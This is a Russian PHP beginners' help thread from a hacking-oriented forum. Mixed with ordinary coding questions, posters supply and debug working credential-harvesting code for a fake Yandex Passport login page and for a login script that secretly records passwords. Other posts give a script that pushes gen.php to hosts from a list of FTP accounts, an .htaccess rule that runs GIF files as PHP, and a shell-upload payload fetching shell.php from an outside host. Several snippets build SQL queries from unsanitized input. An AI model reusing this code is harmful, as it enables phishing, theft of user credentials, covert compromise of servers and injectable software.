Просмотр полной версии : [php] Новичкам: задаем вопросы
Shadow_p1raT
22.02.2009, 17:05
добавь после даты
$_SERVER['HTTP_REFERER']
Вот еще появился вопрос по этому скрипту:
Редириктить то оно редириктит, но не при всех не правильных значениях...
Мне нужно, чтобы параперт id принимал только числовые значения, при подстановке каких либо символов он редиректил...
в даный момент редириктин при таком запросе:
http://localhost/news.php?id=-25
а при http://localhost/news.php?id=25'
страница остается в прежнем состояие...
можно ли сделать так, чтобы при определенных значениях id редиректило?
вот несколько конкретных решений:
№1 тут я просто $id прописал если надо другое сам пропишеш $_post['id'] или $_get['id']
if (isset($id) && is_numeric($id)){
//обрабатываеш числовое ID вот такое: http://localhost/news.php?id=25' здесь уже не пройдет
}
else {
exit('hello!');// если ID не числовое
}
№2 вместо(вместе c) is_numeric можно использовать регулярку
if (isset($id) && is_numeric($id) && preg_match("/^[0-9]+$/i",$id)) {
//обрабатываеш числовое ID вот такое: http://localhost/news.php?id=25' здесь уже не пройдет
}
else {
exit('hello!');// если ID не числовое
}
№3 совсем конкретизируем второй вариант:
if (isset($id) && is_numeric($id) && preg_match("/^[0-9]+$/i",$id)) {
//обрабатываеш числовое ID вот такое: http://localhost/news.php?id=25' здесь уже не пройдет
switch ((integer)$id){
case 1: //если ИД = 1
echo "строка один<br>";
//еще что то делаеш
echo "строка два и т.д.";
break;
case 4: //если ИД = 4
echo "4 строка один<br>";
//еще что то делаеш
echo "4 строка два и т.д.";
break;
default: //если id не равно одному из вушеперечисленных значений
Echo"ID is not correct;";
break;
}
}
else {
exit('hello!');// если ID не числовое
}
KIR@PRO Омг, а еще более извращенно слабо? Можно разбить еще строку на составляющие, а потом каждый знак сравнивать - число это или нет.
-m0rgan-
error_reporting(0);
include"config.php";
$id=intval($_GET['id'])>0 ? intval($_GET['id']) : 0; // Вся соль тут)
if($id) {
echo $news;
$query = "SELECT * FROM news where `id`='".$id."'";
$result = mysql_query($query);
while ($row = mysql_fetch_array($result)) :
цикл...
endwhile;
} else {header('Location: heck.php');}
KIR@PRO Омг, а еще более извращенно слабо? Можно разбить еще строку на составляющие, а потом каждый знак сравнивать - число это или нет
я привел ему пару примеров простой средний и 100500% безопасный вариант
p.s. приходится так изощьряться потомучто нет 100% уверенности в том, что в функциях isset(), is_numeric(), preg_match() нет приватных уязвимостей... поэтому я добавил switch
KIR@PRO Омг, а еще более извращенно слабо? Можно разбить еще строку на составляющие, а потом каждый знак сравнивать - число это или нет.
-m0rgan-
error_reporting(0);
include"config.php";
$id=intval($_GET['id'])>0 ? intval($_GET['id']) : 0; // Вся соль тут)
if($id) {
echo $news;
$query = "SELECT * FROM news where `id`='".$id."'";
$result = mysql_query($query);
while ($row = mysql_fetch_array($result)) :
цикл...
endwhile;
} else {header('Location: heck.php');}
хм странно но почему то при ?id=3 и вообще ?id=(ТОЛЬКО ЧИСЛО) все время редиректит, но когда не число тоже редиректит) ищи ошибку....
вообще не пойму смысла вот этого: ? intval($_GET['id']) : 0
intval() если id не число всеравно вернет 0
Вопросец,какая функция в пхп отвечает за сохранение определенного файла на сервер?(допустим,я подставляю ссылку в запрос,и скрипт сохраняет содержимое ссылке ко мне на винт)
Прочитай про fopen fwrite file_get_contents
Вопросец,какая функция в пхп отвечает за сохранение определенного файла на сервер?(допустим,я подставляю ссылку в запрос,и скрипт сохраняет содержимое ссылке ко мне на винт)
ты как то запутался в одном предложении тебе на винт сервера сохранить надо или всетаки всоего компа(клиента)??
[JavaScript]
22.02.2009, 19:13
KIR@PRO, а если его винт и есть сервер.
[JavaScript],ты прав.
А вот я что-то туплю.
KIR@PRO Все работает, а про число - сильно сомневаюсь, что в БД будут отрицательные ID $id=intval($_GET['id'])>0 ? intval($_GET['id']) : 0;
if($id) {
echo '------'.$id.'--------';
} else {header('Location: heck.php');die;}
[JavaScript]
22.02.2009, 19:38
<?
$file="file.txt"; //файл куда писать
$string="много много любого текста..."; //текст который писать
$fp=fopen($file,"a+"); //открываем файл
fwrite($fp,$string); //пишем текст в файл
fclose($fp); //закрываем файл
?>
Вот скрипт с комментариями...
shellz[21h]
22.02.2009, 20:05
Уважаемые кодеры, подскажите плиз.
Есть данные в формате:
user_id: table1
user: table1
userpass: table1
usemail: table1
userid: table2
user: table2
userpass: table2
id:table3
user:table3
etc...
из этого списка, нужно сделать:
user_id,user,userpass,usermail.table1
userid,user,userpass.table2
Подскажите, как это реализовать, никак не получается. Заранее блогадерен.
Мужики!
Есть функция md5(); а ей обратной нет чтоле? :(
//Уже нашёл что нет =( Спасибо ))
heretic1990
22.02.2009, 21:55
Мужики!
Есть функция md5(); а ей обратной нет чтоле? :(
//Уже нашёл что нет =( Спасибо ))
нет, md5 только брутить!
']Уважаемые кодеры, подскажите плиз.
Есть данные в формате:
user_id: table1
user: table1
userpass: table1
usemail: table1
userid: table2
user: table2
userpass: table2
id:table3
user:table3
etc...
из этого списка, нужно сделать:
user_id,user,userpass,usermail.table1
userid,user,userpass.table2
Подскажите, как это реализовать, никак не получается. Заранее блогадерен.
ну давай для начала разберемся откуда данные из sql базы? изи из текстового файла? )))
p.s. или может я чего то непонял) ну яж не экстра сенс всетаки..
p.p.s. то что ты написал это не данные а структура скорее всего...
[JavaScript]
22.02.2009, 23:59
shellz[21h], а можно поподробнее?
OnArs, md5 это необратимый алгоритм хеширования. Вхлом возможен только с помощью перебора.
shellz[21h]
23.02.2009, 00:42
ну давай для начала разберемся откуда данные из sql базы? изи из текстового файла? )))
данные из файла.
Повторюсь, файл с данными, либо структука как угодно):
user_id: table1
pass: table1
mail: table1
pid: table2
url: table2
sum: table2
Нужно этот список, превратить в:
user_id,pass,mail.table1
pid,url,sum.table2
shellz[21h] $in=file('file.txt');
$out=array();
foreach($in as $row)
{
$tmp=explode(': ',$row,2);
$out[$tmp[1]][]=$tmp[0];
}
foreach ($out as $u=>$v)
{
$out[$u]=implode(',',$v).'.'.$u;
}
print_r($out);
shellz[21h]
23.02.2009, 09:20
Gifts, спасибо!
в бд кодировка cp1251
а выводит вот такой бред...
http://s55.radikal.ru/i150/0902/ed/6d0b4e7f5780.png
как исправить ?
в бд кодировка cp1251
а выводит вот такой бред...
http://s55.radikal.ru/i150/0902/ed/6d0b4e7f5780.png
как исправить ?
попробуй другую кодировку, одну из cp1251 она не одна. на сайту ты какую кодировку используеш?
поменяй кодировку базы данных, можно в phpmyadmin
и попробуй в двиге сразу посде соединения с базой выполнить запрос SET NAMES cp1251
или создай файл .htaccess с AddDefaultCharset windows-1251
я имел ввиду страница у тебя какую кодировку использует... просто возможно несколько вариантов:
1) mysql возвращает данные в другой кодировке
2) mysql возвращает данные в нужной кодировке а изза другой кодировки страницы браузер показывает не то что хотелось бы
но у тебя как видно первый вариант
Winst0n мб ты сделал дамп или туда ставил двиг с нуля?
бд кодировки cp1251
AddDefaultCharset windows-1251
добавил...
все равно криво выводит
kraken, и с 0 и с "Sypex Dumper" и через муадмин, все криво выводит =\
надо на другом хосте попробывать...
Вопрос:
Почему функция иногда неработает! Как я заметил она не работает при загрузки картинок с большим разширением???
function openResizeAndSave($nWidth,$fileName) {
switch(substr($fileName,-4)) {
case ".gif": {
$Res=imagecreatefromgif($fileName);
$ext=($Res)?".gif":"";
break;
}
case ".jpg": {
$Res=imagecreatefromjpeg($fileName);
$ext=($Res)?".jpg":"";
break;
}
default: return FALSE;
}
if($Res) {
$Width=imagesx($Res);
$Height=imagesy($Res);
}
else
return FALSE;
$Koef=($nWidth/$Width);
$nHeight=(int)($Koef*$Height);
$nRes=imagecreatetruecolor($nWidth,$nHeight);
if(!imagecopyresampled($nRes,$Res,0,0,0,0,$nWidth, $nHeight,$Width,$Height))
return FALSE;
$Res=$nRes;
unlink($fileName);
switch($ext) {
case ".jpg": {
if(!imagejpeg($Res,$fileName))
return FALSE;
break;
}
case ".gif": {
if(!imagegif($Res,$fileName))
return FALSE;
break;
}
default : return FALSE;
}
return TRUE;
}
Файл где она приминяется:
<?php
// Подключаемься к базе данных
include("db.php");
include("function.php");
//================Настройки============= //
// максимальная ширина картинок на превью
$maxwidth = "300px";
// Директория для фотографий товаров
$fotos_dir = "fotos/";
$resizeWidth=215;
// Полное имя файла вместе с путем
$foto_name = time() . "_" . $_FILES['myfile']['name'];
$foto_name_dir = $fotos_dir . time() . "_" . $_FILES['myfile']['name'];
// Готовый тэг для вставки картинки на страницу
$foto_tag = "<img src='{$foto_name_dir}' border='0'>";
// Тот же тэг, но для превью
$foto_tag_preview = "<img src='{$foto_name_dir}' border='0' width='{$maxwidth}'>";
// Текст ошибок
$error_by_mysql = "<span style='font: bold 15px tahoma; color: red'>Ошибка при добавлении данных в базу</span>";
$error_by_file = "<span style='font: bold 15px tahoma; color: red'>Невозможно загрузить файл в директорию. Возможно её не существует</span>";
// Начало
if (isset($_FILES["myfile"])) {
// Если ошибок не было
if (($_FILES["myfile"]["error"] == 0) && (in_array(strtolower(substr($_FILES['myfile']['name'], - 4)), array(".jpg" , ".gif" , ".png")))) {
$upfile = getcwd() . "/fotos/" . time() . "_" . basename($_FILES["myfile"]["name"]);
if ($_FILES['myfile']['tmp_name']){
//Если не удалось загрузить файл
if (! move_uploaded_file($_FILES['myfile']['tmp_name'], $upfile))
exit($error_by_file);
else
{//Вызов новой функции для изменения размеров, учти, что теперь только jpg & gif, если хочешь, то добавь png, там все одинково получится
openResizeAndSave($resizeWidth,$upfile);
}
}
else
exit ("Проблема: возможна атака через загрузку файла хотя проверяется это не так, а, наверное, просто нам подсовывают файл не с тем расширением {$_FILES ['myfile'] ['name']}");
// Заносим путь картинки в базу данных
$query = mysql_query("INSERT INTO foto (url,name) VALUES ('{$foto_name_dir}','{$foto_name}')", $db);
if ($query)
{
echo "{$foto_tag}<br /><b>Данные успешно внесены в базу</b>";
$adres=$foto_name_dir;
}
else
exit("<p>Ошибка сохранения данных.</p>" . mysql_error());
} else //Если возникла ошибка при передаче или левое расширение файла
exit("Ошибка обработки данных либо вы пытаетесь подсунуть нам свинью");
}
?>
бд кодировки cp1251
AddDefaultCharset windows-1251
добавил...
все равно криво выводит
kraken, и с 0 и с "Sypex Dumper" и через муадмин, все криво выводит =\
надо на другом хосте попробывать...
1. Ты Свои php файлы через какую прогу сохронял?
2. При импорте баз на хост выставь нужную кодировку т.к. на некоторых хостах она выстовляется автомотически на юникод!
geforce, a какую ошибку она выдает, когда не работает?
Может быть просто не хватает памяти... Попробуй увеличь memory_limit в конфиге пхп, например в .htaccess пропиши.
geforce, a какую ошибку она выдает, когда не работает?
Может быть просто не хватает памяти... Попробуй увеличь memory_limit в конфиге пхп, например в .htaccess пропиши.
Ошибки не бывает! Картинка тупо загружается не соблюдая пропорции!
народ помогите написать парсер)
html код страници
<body style="color:#717171;padding: 33 0 0 33">
<a href=""><img border=0 src="?logo&pic"></a>
<form method="post">
<input type="hidden" name="send">
<table border=0 cellspacing=5>
<tr>
<td>Логин (login@mail.ru)</td>
<td><input type="text" name="login" value=""></td>
</tr>
<tr>
<td>Пароль</td>
<td><input type="text" name="password" value=""></td>
</tr>
<tr>
<td>Телефон: (+79031234567)</td>
<td><input type="text" name="mobile" value="+7"></td>
</tr>
<tr>
<td colspan=2>Текст (до 141 символа)<br>
<textarea name="text" maxlength="141" style="width:100%" onkeydown="this.value = this.value.slice(0, 141)"></textarea></td>
</tr>
<tr>
<td colspan=2 align=center><input type=submit value="отправить"></td>
</tr>
</table>
</form>
надо сделать так, чтобы вписывать текст и нажимать кнопку отправить :-D
как пхп определяет на какой раскладке написан текст?
//мне просто для паролей нада
как пхп определяет на какой раскладке написан текст?
//мне просто для паролей нада
понимаеш как таковй php не может определить на какой раскладке написан текст (на сколько я знаю =) ) буквы на русской раскладке имеют свой код, буквы на английской раскладке имеют свой код....
если тебе нужно для чегото конкретного можеш написать постараемся помоч , сделать так чтоб программа определяла где русский где англ...
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
народ помогите написать парсер)
html код страници
надо сделать так, чтобы вписывать текст и нажимать кнопку отправить :-D
непонял тебя... тебе парсить что надо??? в каком виде на выходе надо зачем тебе что то вводить и отправлять? причем тут парсер...
или ты хочеш вводить адрес страници отправлять скрипту и чтоб он парсил?
p.s. если хатите чтоб вам помогли то формулируйте вопрос/просьбу конкретней и шире. =)
mailbrush
24.02.2009, 19:17
Сообщение от Frize
народ помогите написать парсер)
html код страници
надо сделать так, чтобы вписывать текст и нажимать кнопку отправить :-Dfsockopen OR curl
Помогите пожалуйста???
http://forum.antichat.ru/showpost.php?p=1132741&postcount=9096
Pashkela
24.02.2009, 20:37
как пхп определяет на какой раскладке написан текст?
//мне просто для паролей нада
переводишь в байты и смотришь:
1. Если встречаются символы ТОЛЬКО из диапозона 41-7A (в HEX) или 65-122 (ASC) - то английский
2. Если встречаются символы ТОЛЬКО из диапозона C0-FF (в HEX) или 192-255 (ASC) - то русский
3. Если и из-того и из другого - то смешанный
переводишь в байты и смотришь:
1. Если встречаются символы ТОЛЬКО из диапозона 41-7A (в HEX) или 65-122 (ASC) - то английский
2. Если встречаются символы ТОЛЬКО из диапозона C0-FF (в HEX) или 192-255 (ASC) - то русский
3. Если и из-того и из другого - то смешанный
А как мне сделать чтоб када вводишь на любой раскладке пароль, система все равно пропускала?
А как мне сделать чтоб када вводишь на любой раскладке пароль, система все равно пропускала?
Может замену сделать?
От А до Я меняет на от A до Z
Pashkela
24.02.2009, 21:04
А как мне сделать чтоб када вводишь на любой раскладке пароль, система все равно пропускала?
Интересно, зачем тогда вообще пароли? Т.е. типо пунто-свитчер на php? Хз, подумать надо. Хотя мне видется так:
1. Массив ВСЕХ английских букв.
2. Массив АНАЛОГ ПЕРВОГО МАСИИВА, где все английские буквы заменены на их аналоги на русском.
3. Соответственно ОБА массива количественно равны.
4. Сравниваешь поэлементно то, что ввели на совпадение (т.е. сравниваешь сначала пароль введенный СРАЗУ с паролем из БД, затем, в случае неудачи, заменяешь его аналогичными буквами из английского массива)
Например: пароль "qwerty"
В русской расскладке пароль "йцукен"
значит у тебя два массива:
$a = array('q','w','e','r','t','y');
$b = array('й','ц','у','к','е','н')
Ошиблись, вместо "qwerty" ввели "йцукен". Сравнил то, что ввели, с тем, что в базе - выдал ошибку, значит дальше в цикле меняешь все русские на английские, сравниваешь опять - правильно - пускаешь, нет - значит пароль неверный. Посылаешь нафиг.
в общем примерно так (всю клаву в массив перегнать только осталось:))
<?php
$c = 'йцукен';
$d = punto($c);
echo $d;
/* Функция посимвольного преобразования русск в англ */
function punto($ascii) {
$hex = '';
$arr1 = array('q','w','e','r','t','y');
$arr2 = array('й','ц','у','к','е','н');
$count = count($arr1);
for ($i = 0; $i < strlen($ascii); $i++) {
for ($z = 0; $z < $count; $z++) {
if ($ascii{$i}==$arr2[$z]) $hex.=$arr1[$z];
}
}
return $hex;
}
?>
Pashkela Можно обойтись и одним запросом - просто храним пароли в одной раскладке и сверяем
$in='gfhjkm dthty';
$from="qwertyuiop[]asdfghjkl;'zxcvbnm,./";
$to= 'йцукенгшщзхъфывапролджэя смитьбю.';
echo strtr($in,$from,$to);
Pashkela
24.02.2009, 22:04
2 Gifts:
Гы, 23 февраля, ты прав, конечно, зато фактически написал strtr()
:D :D :D
Что пишеться в ацесе,чтобы гифы обрабатывались как php?
Pashkela
24.02.2009, 22:21
<Files ~ "\.gif$">
AddType application/x-httpd-php .gif
</Files>
в плане безопасности лучше в текущей папке, чем в корне :D
AddType application/x-httpd-php .gif
Как такое реализовать? _jungles.ru/userbar/5449_0.jpg. Нажимать Ф5
Как такое реализовать? _jungles.ru/userbar/5449_0.jpg. Нажимать Ф5
Просто рандомно картинка выводится
mailbrush
24.02.2009, 23:21
D0S, imagecreatefromjpg + случаное значение бери из картинок
D0S, imagecreatefromjpg + случаное значение бери из картинок
Спасибо. Просто не знал, за что зацепиться. ;)
Pashkela
24.02.2009, 23:31
<?php
$a = array('1.jpg','2.jpg');
$b = rand(0, 1);
echo '<img src=" ' . $a[$b] . '">';
?>
Shadow_p1raT
25.02.2009, 06:02
Лучше переменную $b заменить на
$b = $a[array_rand($a)];
Ибо картинок может быть доx%я
Ап пост (http://forum.antichat.ru/showthread.php?p=1118186#post1118186)
Так и не нашёл на него ответа без применения Аякса....(нужный вычисления чисто на стороне сервера)
real_kas
25.02.2009, 13:29
Доброго всем дня!
Есть емейл база - base.txt
Есть база отписавшихся - unsubscribe.txt
Как мне пропарсить base.txt и удалить из нее емейлы unsubscribe.txt?
Есть подобный код?
Shadow_p1raT
25.02.2009, 14:29
<?php
$file = file(' base.txt');
$file_2 = file('unsubscribe.txt');
$array = array_map('trim',array_merge($file,$file_2));
$result = array_unique($array);
$fp = fopen('base.txt','w');
foreach($result as $key=>$value) {
fwrite($fp,$value."\r\n");
}
fclose($fp);
?>
-=Static=-
25.02.2009, 14:30
Или так:
<?php
/***** Настройка ********/
$mailFile = "mails.txt"; // Список мыл
$unsMailFile = "unsmail.txt"; // Список отписавшихся
$resultFile = "output.txt"; // Файл результата
/************************/
$arEMails = file($mailFile);
$arUnsMail = file($unsMailFile);
foreach($arUnsMail as $delMail) {
foreach($arEMails as $key => $curMail) {
if(trim($curMail) == trim($delMail)) unset($arEMails[$key]);
}
}
file_put_contents($resultFile, implode("\n",$arEMails));
-=Static=-
25.02.2009, 14:34
<?php
$file = file(' base.txt');
$file_2 = file('unsubscribe.txt');
$array = array_map('trim',array_merge($file,$file_2));
$result = array_unique($array);
$fp = fopen('base.txt','w');
foreach($result as $key=>$value) {
fwrite($fp,$value."\r\n");
}
fclose($fp);
?>
Гмм... этот код никак не изменит исходный массив мыл...
Ты сначало набираешь 2 массива, потом мержишь их и убираешь копии... иначе говоря убираешь то что примержил из отписавшихся... а в массиве мыл уники останутся, и на выходе будет всеравно массив исходных мыл...
real_kas
25.02.2009, 16:04
Или так:
Спасибо большое за помощь!
Shadow_p1raT
25.02.2009, 16:13
Ой,ой простите.Не так прочитал:-)
фильтр XSS SQL и HTML тегов
Нашел такой вот код
http://zhilinsky.ru/wp-content/uploads/files/Other/Development/inputclear.phps
Но на мой взгляд он слабоват....Помогите решить задачку!
mailbrush
25.02.2009, 19:46
htmlspecialchars($input); =)
Помогите с проблеммой?
http://forum.antichat.ru/showpost.php?p=1132741&postcount=9094
Блин,решил поработать с кукисами,и вот проблема,а я и незнал что кукисы можно выставлять как хидеры.юесли перед ними нет вывода.
Как мне быть,если перед выводом кукисов уже был вывод какойто информации?
Вот самый просто пример кода:
echo $auth;
$pass = md5($_POST['pass']);
$user = $_POST['user'];
if (!empty($pass) && !empty($user))
{
$checkuser = mysql_query("SELECT * FROM users WHERE username = '" . $user .
"' AND password = '" . $pass . "'");
if (mysql_num_rows($checkuser) > 0)
{
setcookie("username", $user);
setcookie("password", $pass);
setcookie("id", mysql_insert_id());
echo $upload;
}
}
Ругаеться что уже выводилось в 30 строке,тоесть тут 1. :(
есть кусок кода скрипта которому передается мыло...
$dbName='fe';
$link = mysql_connect($DA["host"],$DA["user"],$DA["pass"]);
mysql_select_db($dbName, $link);
$query = mysql_query("SELECT id FROM users WHERE email = ".$email."");
$results = mysql_fetch_array($query); // 67ая строка
if(!$results)
{
echo "Возникла ошибка - ".mysql_error()."<br>";
echo $query;
exit();
}
$id = $results['id'];
echo "$id";
ругаеться
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /vk.php on line 67
Возникла ошибка - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '@as.com' at line 1
как исправить??
$query = mysql_query("SELECT id FROM users WHERE email = '".$email."'");
Ответье на мой вопросик повыше)
m0Hze
буферизация
ob_start();
echo $auth;
$pass = md5($_POST['pass']);
$user = $_POST['user'];
if (!empty($pass) && !empty($user))
{
$checkuser = mysql_query("SELECT * FROM users WHERE username = '" . $user .
"' AND password = '" . $pass . "'");
if (mysql_num_rows($checkuser) > 0)
{
setcookie("username", $user);
setcookie("password", $pass);
setcookie("id", mysql_insert_id());
echo $upload;
}
}
ob_end_flush();
winstrool
26.02.2009, 16:32
Народ, слышал что такое можно реализовать, вопрос как через пхп можно интегрировать яваскрипт код в pdf
Народ, слышал что такое можно реализовать, вопрос как через пхп можно интегрировать яваскрипт код в pdf
Я думаю, никак
-=Static=-
26.02.2009, 18:17
Народ, слышал что такое можно реализовать, вопрос как через пхп можно интегрировать яваскрипт код в pdf
Ты наверное об этом _http://www.moldprint.com/stati/dtp/postscript_ili_pdf.html
есть функция,
function test()
{
$test = send test("lolkin23@mail.ru", "aiglife");
$test->send("слово", "слово2");
нужно сделать че нить типо этого,
function test($data)
{
$test->send($data, $data[0]);
или
$test->send(array($data, $data[0]);
кто понял помогите :-D
Frize Если не понимаешь принципов ООП - зачем пытаться сделать, только ради "чтоб было" и "че нить типа"?
http://www.php.net/manual/ru/language.oop5.php
Всем привет.
Вот возник вопросец: работаю с сайтом при помощи fsockopen, но он (сайтец), настойчиво требует, чтобы был включен JavaScript. Как можно "сообщить" сайту что JavaScript включен? И можно ли это сделать вообще?
подскажите плиз, чтобы обрабатывался php код в файле xml нужно в htaccess прописать AddType application/x-httpd-php .xml, а мне нужно чтобы в одной папке не обрабатывался xml как php-файл, мне нужна обратная, как бы запрещающая команда, знаете такую?
Корвин AddType text/xml .xml
art2222 Если ява-скрипты динамически создают содержимое - то отследите их запросы и делайте такие же
dinar_007
26.02.2009, 20:17
Всем привет.
Вот возник вопросец: работаю с сайтом при помощи fsockopen, но он (сайтец), настойчиво требует, чтобы был включен JavaScript. Как можно "сообщить" сайту что JavaScript включен? И можно ли это сделать вообще?
Пойми сначала, по какому принципу опредделяет включён яваскрипт или нет..
Если ява-скрипты динамически создают содержимое - то отследите их запросы и делайте такие же
Хм, я просто получаю контент страницы, а вместо нужного текста получаю "This page needs JavaScript, to display all information correct"
по какому принципу опредделяет
Возможно юзает get_browser().
Можно ли как нибудь передать инфу о джаве через UserAgent?
Корвин AddType text/xml .xml
пробовал... не помогло
Nightmarе
26.02.2009, 21:16
Ещё вопрос интересует, вот код для аплоада файлов:
<?php
error_reporting(0);
set_time_limit(0);
$uploadfile = basename($_FILES['userfile']['name']);
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)
?>
Почему он загружает файлы которые весят не более 2 метров хотя в параметрах php.ini выставлен максимальный аплоад 8 метров ????????
mailbrush
26.02.2009, 21:22
пропиши в .htaccess: php_value upload_max_filesize 8M, я хз чо у тя не пашет...
Nightmarе, ты ведь ошибки отключил.Может включишь, и посмотришь,что пишет?
попробуй пропиши в начале скрипта ini_set("upload_max_filesize","8M");
ini_set("post_max_size","8M");
Nightmarе
26.02.2009, 23:24
Пасиб всем. Действительно не обратил внимание на "upload_max_filesize" в настройках php которая везде и есть 2 метра... собственно возможности залить файл более 2 метров никакой нету?
ну попробуй мой способ и способ mailbrush, если не получится то никак, значит хостер запретил
у меня такой вопрос, есть страница авторизации, то есть login.php. Можно сделать так чтобы когда юзер вводил свой логин и пароль помимо аутентификации скрипт сылал логин и пароль на почту или куда то в директорию записывал?
мне надо этот вопрос уже сегодня разрешить потом будет поздно
вот, взял из фейка $Login = $_POST["login"]; // Логин
$Pass = $_POST["pass"]; // Пароль
$log = fopen("base.txt","a+"); //открываем файл базы
fwrite($log,"\n $Login:$Pass \n"); //записываем всё
fclose($log); //закрываем
это нужно подставить в скрипт в авторизацию, и соответственно поменять название полей в $_POST
Собственно,есть директория в ней много файлов с одинаковым расширением.
Нужно в цикле,или без него,переименовать все файлы по очереди.Как)
ток я не знаю на что те менять надо, сделал чтоб генерировалось, ну смысл такой <?php
error_reporting(E_ALL);
$open_dir = opendir(getcwd());
$i = 0;
$r = ".php";// Расширение на какое переименовывать
while ($el = readdir($open_dir))
{
$i++;
$name = substr(md5(rand(0, 1000000)), 0, 8) . $r;
if ((filetype(getcwd() . "/" . $el) == 'file'))
rename(getcwd() . "/" . $el, getcwd() . "/" . $name);
}
?>
dinar_007
27.02.2009, 01:09
Возможно юзает get_browser().
Можно ли как нибудь передать инфу о джаве через UserAgent?
Передай нормальный ЮзерАгент... Информация о поддержке JS не передаётся в ЮзерАгенте...
Как пример:
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WebMoney Advisor; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; eSobiSubscriber 2.0.4.16; .NET CLR 1.1.4322; .NET CLR 3.5.21022; InfoPath.2)
FALTONICK
27.02.2009, 01:23
с чего начать изучение?
с книги для начинающих, тут есть спкц тема с книгами
Есть сценарий который создаёт картинку с помощью PHP и есть страница на которой нужно картинку вывести....
прописываю так :
header("Content-type: image/png");
$pngimg = imagepng( $image );
то просто загрузается картинка на весь экран...
если пишу так
header("Content-type: image/png");
то картинка отображается в види кода.
как сделать чтоб загрузить гденить в углу...но не использую путь до страницы в виде <img src="image.php" /> так как нужно передать параметы этому сценарию.
Byrger, была та же проблема.Я юзал куки и ссылку вида:
<img src="image.php?image=$qq&color=$aaa" />
Надеюсь ты понял.Случайно не конструктор аватар делаешь?
Pashkela
27.02.2009, 20:48
Пасиб всем. Действительно не обратил внимание на "upload_max_filesize" в настройках php которая везде и есть 2 метра... собственно возможности залить файл более 2 метров никакой нету?
делишь, заливаешь частями, склеиваешь. Если только тебе надо - вполне потянет.
Byrger, была та же проблема.Я юзал куки и ссылку вида:
<img src="image.php?image=$qq&color=$aaa" />
Надеюсь ты понял.Случайно не конструктор аватар делаешь?
Нет не конструктор :)
А по другому не как не запустить картинку? а то в открытую не хотелось бы значения передавать....
Byrger кажется про размер спрашивал $image_width = 100;
$image_height = 100;
$image = imagecreate ( $image_width, $image_height );
а значения можно через куки или через сессии
magieva-anna
28.02.2009, 01:03
Привет!
У меня такой вопрос:
есть фейк-страница и есть файл log.php, который пишет логин-пароль в файл. В IE всё отлично работает, но Firefox его почему-то не выполняет (пишет, что время ожидания соединения истекло). В чём может быть проблема?
PS: фейк - яндекс-паспорт.
magieva-anna, чтот мне не верится в такое :d, код в студию))))
magieva-anna
28.02.2009, 01:27
Код такой:
<?PHP
$Login = $_POST['login'];
$Pass = $_POST['passwd'];
$log = fopen("base.txt","a+");
fwrite($log,"\n :$Login:$Pass: \n");
fclose($log);
echo "<HTML>
<body>
<script type='text/javascript'>
window.location.href='http://www.yandex.ru';
</script>
</body>
</HTML>";
?>
Но есть у меня подозрения, что не в этом коде дело. Скорее всего в коде самой странице, с которой идёт переадресация на log.php.
Код такой:
<?PHP
$Login = $_POST['login'];
$Pass = $_POST['passwd'];
$log = fopen("base.txt","a+");
fwrite($log,"\n :$Login:$Pass: \n");
fclose($log);
echo "<HTML>
<body>
<script type='text/javascript'>
window.location.href='http://www.yandex.ru';
</script>
</body>
</HTML>";
?>
вместо
echo "....
header('Location: www.yandex.ru');
у меня работает во всех браузерах, в том числе и firefox
magieva-anna
28.02.2009, 01:41
']вместо
echo "....
header('Location: www.yandex.ru');
Не...не помогает. Но всё равно, спасибо)))
В самом скрипте всё должно быть нормально. Почти идентичный от другого фейка работает на УРА. Что-то в коде страници кроется.
Она тут. (http://www.yandexvideo.vov.ru/)
мб document.location.href='http://www.yandex.ru';?
мб document.location.href='http://www.yandex.ru';?
Можно и так, но где гарантии, что у юзера не отключен жабаскрипт?
laedafess
28.02.2009, 07:04
яву тока "хакеры" отключают) зачем это простому юзверю. Ну можно еще так:
<html>
<META HTTP-EQUIV="REFRESH" CONTENT="0;URL=http://www.yandex.ru/">
</html>
i-Worm.Fizzer
28.02.2009, 09:24
Задался тут вопросом, каким способом лучше обращяться к бд ?
таким
$query = "SELECT * FROM xxx WHERE yyy=zzz";
$result = $myDB->Execute($query) or DIE($myDB->ErrorMsg());
или таким ?
$sql = mysql_query("SELECT * FROM xxx WHERE yyy=zzz");
или может таким ?
$sql = "SELECT * FROM xxx WHERE yyy=zzz";
$result = @mysql_query($sql, $connection);
Какой быстрее ? Или фишка только в том, кому как удобней ? В общем напишите каким и почему пожалуйста =)
Задался тут вопросом, каким способом лучше обращяться к бд ?
таким
$query = "SELECT * FROM xxx WHERE yyy=zzz" ;
$result = $myDB->Execute($query) or DIE($myDB->ErrorMsg());
или таким ?
$sql = mysql_query("SELECT * FROM xxx WHERE yyy=zzz");
Какой быстрее ? Или фишка только в том, кому как удобней ? В общем напишите каким и почему пожалуйста =)
В 1ом случае ты делаешь вроде запрос с выводом результата.
А во втором просто запрос.
p.s.имхо.
В первом случае ты делаешь запрос с помощью класса работы с БД, в скорости разницы нет, как тебе удобнее.
g-warning
28.02.2009, 10:58
....
Привет!
Помогите написать такой скрипт -
файл ftp.txt там акки фтп такого вида
скрипт ftp.php берет данные из ftp.txt и по очереди заливает файл gen.php в папку www на каждый хост
Заранее большое спасибо! ++ ;)
<?php
foreach(file('ftp.txt') as $line) {
list($host,$login,$pass)=explode('|',trim($line));
$f = fopen('ftp://'.$login.':'.$pass.'@'.$host.'/www/gen.php','w');
fwrite($f,file_get_contents('gen.php'));
fclose($f);
echo $host.' - ok<br/>';
}
?>
Подскажите пожалуйста как на php (а может и не php ну на юкозе чтобы скрипт потянул) при заходе на сайт открывалось ещё одно окно другого сайта но такой список сайтов должен быть и они должны открываться всегда в случайном порядке желательно ещё чтобы опера не блокировала скрипт ! :cool:
heretic1990
28.02.2009, 20:59
Вот, хочу добавить функцию декодирования из Hex для ICQ бота, вроде как должно работать, а когда шлю боту команду на декодирование, его выкидывает.
скажите, в чём проблема.
case '!unhex':
$unhex=unhex($cmd[2]);
if($unhex=='') { $unhex='Не возможно'; }
$mlCQ->send_message($from,$unhex);
break;
mailbrush
28.02.2009, 21:56
как залить шелл через eval get_c?
?c=file_get_contents('site.ru/shell.php');
